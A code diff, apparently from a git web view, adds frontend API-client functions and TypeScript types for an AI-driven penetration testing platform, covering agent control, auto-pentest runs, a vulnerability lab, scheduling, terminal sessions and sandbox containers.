skipToPhase: async (scanId: string, phase: string) => {
|
||||
const response = await api.post(`/scans/${scanId}/skip-to/${phase}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
getEndpoints: async (scanId: string, page = 1, perPage = 50) => {
|
||||
const response = await api.get(`/scans/${scanId}/endpoints?page=${page}&per_page=${perPage}`)
|
||||
return response.data
|
||||
@@ -154,10 +171,20 @@ export const reportsApi = {
|
||||
return response.data
|
||||
},
|
||||
|
||||
generateAiReport: async (data: {
|
||||
scan_id: string
|
||||
title?: string
|
||||
}): Promise<Report> => {
|
||||
const response = await api.post('/reports/ai-generate', data)
|
||||
return response.data
|
||||
},
|
||||
|
||||
getViewUrl: (reportId: string) => `/api/v1/reports/${reportId}/view`,
|
||||
|
||||
getDownloadUrl: (reportId: string, format: string) => `/api/v1/reports/${reportId}/download/${format}`,
|
||||
|
||||
getDownloadZipUrl: (reportId: string) => `/api/v1/reports/${reportId}/download-zip`,
|
||||
|
||||
delete: async (reportId: string) => {
|
||||
const response = await api.delete(`/reports/${reportId}`)
|
||||
return response.data
|
||||
@@ -210,6 +237,14 @@ export const vulnerabilitiesApi = {
|
||||
const response = await api.get(`/vulnerabilities/${vulnId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
validate: async (vulnId: string, validationStatus: string, notes?: string) => {
|
||||
const response = await api.patch(`/scans/vulnerabilities/${vulnId}/validate`, {
|
||||
validation_status: validationStatus,
|
||||
notes,
|
||||
})
|
||||
return response.data
|
||||
},
|
||||
}
|
||||
|
||||
// Scan Agent Tasks API (for tracking scan-specific tasks)
|
||||
@@ -261,6 +296,16 @@ export const agentApi = {
|
||||
return response.data
|
||||
},
|
||||
|
||||
// Get agent status by scan_id (reverse lookup)
|
||||
getByScan: async (scanId: string): Promise<AgentStatus | null> => {
|
||||
try {
|
||||
const response = await api.get(`/agent/by-scan/${scanId}`)
|
||||
return response.data
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
},
|
||||
|
||||
// Get agent logs
|
||||
getLogs: async (agentId: string, limit = 100): Promise<{ agent_id: string; total_logs: number; logs: AgentLog[] }> => {
|
||||
const response = await api.get(`/agent/logs/${agentId}?limit=${limit}`)
|
||||
@@ -285,12 +330,44 @@ export const agentApi = {
|
||||
return response.data
|
||||
},
|
||||
|
||||
// Pause a running agent
|
||||
pause: async (agentId: string) => {
|
||||
const response = await api.post(`/agent/pause/${agentId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
// Resume a paused agent
|
||||
resume: async (agentId: string) => {
|
||||
const response = await api.post(`/agent/resume/${agentId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
// Skip to a specific phase
|
||||
skipToPhase: async (agentId: string, phase: string) => {
|
||||
const response = await api.post(`/agent/skip-to/${agentId}/${phase}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
// Send custom prompt to agent
|
||||
sendPrompt: async (agentId: string, prompt: string) => {
|
||||
const response = await api.post(`/agent/prompt/${agentId}`, { prompt })
|
||||
return response.data
|
||||
},
|
||||
|
||||
// One-click auto pentest
|
||||
autoPentest: async (target: string, options?: { subdomain_discovery?: boolean; targets?: string[]; auth_type?: string; auth_value?: string; prompt?: string }): Promise<AgentResponse> => {
|
||||
const response = await api.post('/agent/run', {
|
||||
target,
|
||||
mode: 'auto_pentest',
|
||||
subdomain_discovery: options?.subdomain_discovery || false,
|
||||
targets: options?.targets,
|
||||
auth_type: options?.auth_type,
|
||||
auth_value: options?.auth_value,
|
||||
prompt: options?.prompt,
|
||||
})
|
||||
return response.data
|
||||
},
|
||||
|
||||
// Quick synchronous run (for small targets)
|
||||
quickRun: async (target: string, mode: AgentMode = 'full_auto') => {
|
||||
const response = await api.post(`/agent/quick?target=${encodeURIComponent(target)}&mode=${mode}`)
|
||||
@@ -393,4 +470,174 @@ export const agentApi = {
|
||||
},
|
||||
}
|
||||
|
||||
// Vulnerability Lab API
|
||||
export const vulnLabApi = {
|
||||
getTypes: async (): Promise<{ categories: Record<string, VulnTypeCategory>; total_types: number }> => {
|
||||
const response = await api.get('/vuln-lab/types')
|
||||
return response.data
|
||||
},
|
||||
|
||||
run: async (request: VulnLabRunRequest): Promise<VulnLabRunResponse> => {
|
||||
const response = await api.post('/vuln-lab/run', request)
|
||||
return response.data
|
||||
},
|
||||
|
||||
listChallenges: async (filters?: {
|
||||
vuln_type?: string
|
||||
vuln_category?: string
|
||||
status?: string
|
||||
result?: string
|
||||
limit?: number
|
||||
}): Promise<{ challenges: VulnLabChallenge[]; total: number }> => {
|
||||
const params = new URLSearchParams()
|
||||
if (filters?.vuln_type) params.append('vuln_type', filters.vuln_type)
|
||||
if (filters?.vuln_category) params.append('vuln_category', filters.vuln_category)
|
||||
if (filters?.status) params.append('status', filters.status)
|
||||
if (filters?.result) params.append('result', filters.result)
|
||||
if (filters?.limit) params.append('limit', String(filters.limit))
|
||||
const qs = params.toString()
|
||||
const response = await api.get(`/vuln-lab/challenges${qs ? `?${qs}` : ''}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
getChallenge: async (challengeId: string): Promise<VulnLabRealtimeStatus | VulnLabChallenge> => {
|
||||
const response = await api.get(`/vuln-lab/challenges/${challengeId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
getStats: async (): Promise<VulnLabStats> => {
|
||||
const response = await api.get('/vuln-lab/stats')
|
||||
return response.data
|
||||
},
|
||||
|
||||
stopChallenge: async (challengeId: string) => {
|
||||
const response = await api.post(`/vuln-lab/challenges/${challengeId}/stop`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
deleteChallenge: async (challengeId: string) => {
|
||||
const response = await api.delete(`/vuln-lab/challenges/${challengeId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
getLogs: async (challengeId: string, limit = 100) => {
|
||||
const response = await api.get(`/vuln-lab/logs/${challengeId}?limit=${limit}`)
|
||||
return response.data
|
||||
},
|
||||
}
|
||||
|
||||
// Scheduler API
|
||||
export const schedulerApi = {
|
||||
list: async (): Promise<ScheduleJob[]> => {
|
||||
const response = await api.get('/scheduler/')
|
||||
return response.data
|
||||
},
|
||||
|
||||
create: async (data: ScheduleJobRequest): Promise<ScheduleJob> => {
|
||||
const response = await api.post('/scheduler/', data)
|
||||
return response.data
|
||||
},
|
||||
|
||||
delete: async (jobId: string) => {
|
||||
const response = await api.delete(`/scheduler/${jobId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
pause: async (jobId: string) => {
|
||||
const response = await api.post(`/scheduler/${jobId}/pause`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
resume: async (jobId: string) => {
|
||||
const response = await api.post(`/scheduler/${jobId}/resume`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
getAgentRoles: async (): Promise<AgentRole[]> => {
|
||||
const response = await api.get('/scheduler/agent-roles')
|
||||
return response.data
|
||||
},
|
||||
}
|
||||
|
||||
// Terminal Agent API
|
||||
export const terminalApi = {
|
||||
createSession: async (target: string, name?: string, template_id?: string) => {
|
||||
const response = await api.post('/terminal/session', { target, name, template_id })
|
||||
return response.data
|
||||
},
|
||||
|
||||
listSessions: async () => {
|
||||
const response = await api.get('/terminal/sessions')
|
||||
return response.data
|
||||
},
|
||||
|
||||
getSession: async (sessionId: string) => {
|
||||
const response = await api.get(`/terminal/sessions/${sessionId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
deleteSession: async (sessionId: string) => {
|
||||
const response = await api.delete(`/terminal/sessions/${sessionId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
sendMessage: async (sessionId: string, message: string) => {
|
||||
const response = await api.post(`/terminal/sessions/${sessionId}/message`, { message })
|
||||
return response.data
|
||||
},
|
||||
|
||||
executeCommand: async (sessionId: string, command: string, execution_method: string) => {
|
||||
const response = await api.post(`/terminal/sessions/${sessionId}/execute`, { command, execution_method })
|
||||
return response.data
|
||||
},
|
||||
|
||||
addExploitationStep: async (sessionId: string, step: { description: string; command: string; result: string; step_type: string }) => {
|
||||
const response = await api.post(`/terminal/sessions/${sessionId}/exploitation-path`, step)
|
||||
return response.data
|
||||
},
|
||||
|
||||
getExploitationPath: async (sessionId: string) => {
|
||||
const response = await api.get(`/terminal/sessions/${sessionId}/exploitation-path`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
getVpnStatus: async (sessionId: string) => {
|
||||
const response = await api.get(`/terminal/sessions/${sessionId}/vpn-status`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
listTemplates: async () => {
|
||||
const response = await api.get('/terminal/templates')
|
||||
return response.data
|
||||
},
|
||||
}
|
||||
|
||||
// Sandbox API
|
||||
export const sandboxApi = {
|
||||
list: async (): Promise<SandboxPoolStatus> => {
|
||||
const response = await api.get('/sandbox/')
|
||||
return response.data
|
||||
},
|
||||
|
||||
healthCheck: async (scanId: string) => {
|
||||
const response = await api.get(`/sandbox/${scanId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
destroy: async (scanId: string) => {
|
||||
const response = await api.delete(`/sandbox/${scanId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
cleanup: async () => {
|
||||
const response = await api.post('/sandbox/cleanup')
|
||||
return response.data
|
||||
},
|
||||
|
||||
cleanupOrphans: async () => {
|
||||
const response = await api.post('/sandbox/cleanup-orphans')
|
||||
return response.data
|
||||
},
|
||||
}
|
||||
|
||||
export default api
|
||||
|
||||
+176
-3
@@ -2,7 +2,7 @@
|
||||
export interface Scan {
|
||||
id: string
|
||||
name: string | null
|
||||
status: 'pending' | 'running' | 'completed' | 'failed' | 'stopped'
|
||||
status: 'pending' | 'running' | 'paused' | 'completed' | 'failed' | 'stopped'
|
||||
scan_type: 'quick' | 'full' | 'custom'
|
||||
recon_enabled: boolean
|
||||
progress: number
|
||||
@@ -52,10 +52,19 @@ export interface Vulnerability {
|
||||
poc_request: string | null
|
||||
poc_response: string | null
|
||||
poc_payload: string | null
|
||||
poc_parameter: string | null
|
||||
poc_evidence: string | null
|
||||
impact: string | null
|
||||
remediation: string | null
|
||||
references: string[]
|
||||
ai_analysis: string | null
|
||||
poc_code?: string | null
|
||||
validation_status?: 'ai_confirmed' | 'ai_rejected' | 'validated' | 'false_positive' | 'pending_review'
|
||||
ai_rejection_reason?: string | null
|
||||
confidence_score?: number // 0-100 numeric (from agent findings)
|
||||
confidence_breakdown?: Record<string, number>
|
||||
proof_of_execution?: string
|
||||
negative_controls?: string
|
||||
created_at: string
|
||||
}
|
||||
|
||||
@@ -160,7 +169,7 @@ export interface ScanAgentTask {
|
||||
}
|
||||
|
||||
// Agent types
|
||||
export type AgentMode = 'full_auto' | 'recon_only' | 'prompt_only' | 'analyze_only'
|
||||
export type AgentMode = 'full_auto' | 'recon_only' | 'prompt_only' | 'analyze_only' | 'auto_pentest'
|
||||
|
||||
export interface AgentTask {
|
||||
id: string
|
||||
@@ -186,6 +195,8 @@ export interface AgentRequest {
|
||||
auth_value?: string
|
||||
custom_headers?: Record<string, string>
|
||||
max_depth?: number
|
||||
subdomain_discovery?: boolean
|
||||
targets?: string[]
|
||||
}
|
||||
|
||||
export interface AgentResponse {
|
||||
@@ -198,7 +209,7 @@ export interface AgentResponse {
|
||||
export interface AgentStatus {
|
||||
agent_id: string
|
||||
scan_id?: string // Link to database scan
|
||||
status: 'running' | 'completed' | 'error' | 'stopped'
|
||||
status: 'running' | 'paused' | 'completed' | 'error' | 'stopped'
|
||||
mode: string
|
||||
target: string
|
||||
task?: string
|
||||
@@ -209,6 +220,8 @@ export interface AgentStatus {
|
||||
logs_count: number
|
||||
findings_count: number
|
||||
findings: AgentFinding[]
|
||||
rejected_findings_count?: number
|
||||
rejected_findings?: AgentFinding[]
|
||||
report?: AgentReport
|
||||
error?: string
|
||||
}
|
||||
@@ -234,6 +247,12 @@ export interface AgentFinding {
|
||||
references: string[]
|
||||
ai_verified: boolean
|
||||
confidence?: string
|
||||
confidence_score?: number // 0-100 numeric
|
||||
confidence_breakdown?: Record<string, number> // Scoring breakdown
|
||||
proof_of_execution?: string // What proof was found
|
||||
negative_controls?: string // Control test results
|
||||
ai_status?: 'confirmed' | 'rejected' | 'pending'
|
||||
rejection_reason?: string
|
||||
}
|
||||
|
||||
export interface AgentReport {
|
||||
@@ -316,6 +335,160 @@ export interface RealtimeSessionSummary {
|
||||
messages_count: number
|
||||
}
|
||||
|
||||
// Agent Role type (from config.json)
|
||||
export interface AgentRole {
|
||||
id: string
|
||||
name: string
|
||||
description: string
|
||||
tools: string[]
|
||||
}
|
||||
|
||||
// Scheduler types
|
||||
export interface ScheduleJob {
|
||||
id: string
|
||||
target: string
|
||||
scan_type: string
|
||||
schedule: string
|
||||
status: 'active' | 'paused'
|
||||
next_run: string | null
|
||||
last_run: string | null
|
||||
run_count: number
|
||||
agent_role: string | null
|
||||
llm_profile: string | null
|
||||
}
|
||||
|
||||
export interface ScheduleJobRequest {
|
||||
job_id: string
|
||||
target: string
|
||||
scan_type: string
|
||||
cron_expression?: string
|
||||
interval_minutes?: number
|
||||
agent_role?: string
|
||||
llm_profile?: string
|
||||
}
|
||||
|
||||
// Vulnerability Lab types
|
||||
export interface VulnLabLogEntry {
|
||||
level: string
|
||||
message: string
|
||||
time: string
|
||||
source: string
|
||||
}
|
||||
|
||||
export interface VulnLabChallenge {
|
||||
id: string
|
||||
target_url: string
|
||||
challenge_name: string | null
|
||||
vuln_type: string
|
||||
vuln_category: string | null
|
||||
auth_type: string | null
|
||||
status: 'pending' | 'running' | 'paused' | 'completed' | 'failed' | 'stopped'
|
||||
result: 'detected' | 'not_detected' | 'error' | null
|
||||
agent_id: string | null
|
||||
scan_id: string | null
|
||||
findings_count: number
|
||||
critical_count: number
|
||||
high_count: number
|
||||
medium_count: number
|
||||
low_count: number
|
||||
info_count: number
|
||||
findings_detail: Array<{
|
||||
title: string
|
||||
vulnerability_type: string
|
||||
severity: string
|
||||
affected_endpoint: string
|
||||
evidence: string
|
||||
payload?: string
|
||||
}>
|
||||
started_at: string | null
|
||||
completed_at: string | null
|
||||
duration: number | null
|
||||
notes: string | null
|
||||
logs?: VulnLabLogEntry[]
|
||||
logs_count?: number
|
||||
endpoints_count?: number
|
||||
created_at: string | null
|
||||
}
|
||||
|
||||
export interface VulnLabRunRequest {
|
||||
target_url: string
|
||||
vuln_type: string
|
||||
challenge_name?: string
|
||||
auth_type?: string
|
||||
auth_value?: string
|
||||
custom_headers?: Record<string, string>
|
||||
notes?: string
|
||||
}
|
||||
|
||||
export interface VulnLabRunResponse {
|
||||
challenge_id: string
|
||||
agent_id: string
|
||||
status: string
|
||||
message: string
|
||||
}
|
||||
|
||||
export interface VulnLabRealtimeStatus {
|
||||
challenge_id: string
|
||||
status: string
|
||||
progress: number
|
||||
phase: string
|
||||
findings_count: number
|
||||
findings: any[]
|
||||
logs_count: number
|
||||
logs?: VulnLabLogEntry[]
|
||||
error: string | null
|
||||
result: string | null
|
||||
scan_id: string | null
|
||||
agent_id: string | null
|
||||
vuln_type?: string
|
||||
target?: string
|
||||
source: string
|
||||
}
|
||||
|
||||
export interface VulnTypeCategory {
|
||||
label: string
|
||||
types: Array<{
|
||||
key: string
|
||||
title: string
|
||||
severity: string
|
||||
cwe_id: string
|
||||
description: string
|
||||
}>
|
||||
count: number
|
||||
}
|
||||
|
||||
export interface VulnLabStats {
|
||||
total: number
|
||||
running: number
|
||||
status_counts: Record<string, number>
|
||||
result_counts: Record<string, number>
|
||||
detection_rate: number
|
||||
by_type: Record<string, { detected: number; not_detected: number; error: number; total: number }>
|
||||
by_category: Record<string, { detected: number; not_detected: number; error: number; total: number }>
|
||||
}
|
||||
|
||||
// Sandbox Container types
|
||||
export interface SandboxContainer {
|
||||
scan_id: string
|
||||
container_name: string
|
||||
available: boolean
|
||||
installed_tools: string[]
|
||||
created_at: string | null
|
||||
uptime_seconds: number
|
||||
}
|
||||
|
||||
export interface SandboxPoolStatus {
|
||||
pool: {
|
||||
active: number
|
||||
max_concurrent: number
|
||||
image: string
|
||||
container_ttl_minutes: number
|
||||
docker_available: boolean
|
||||
}
|
||||
containers: SandboxContainer[]
|
||||
error?: string
|
||||
}
|
||||
|
||||
// Activity Feed types
|
||||
export interface ActivityFeedItem {
|
||||
type: 'scan' | 'vulnerability' | 'agent_task' | 'report'
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
1
|
||||
@@ -0,0 +1 @@
|
||||
2
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user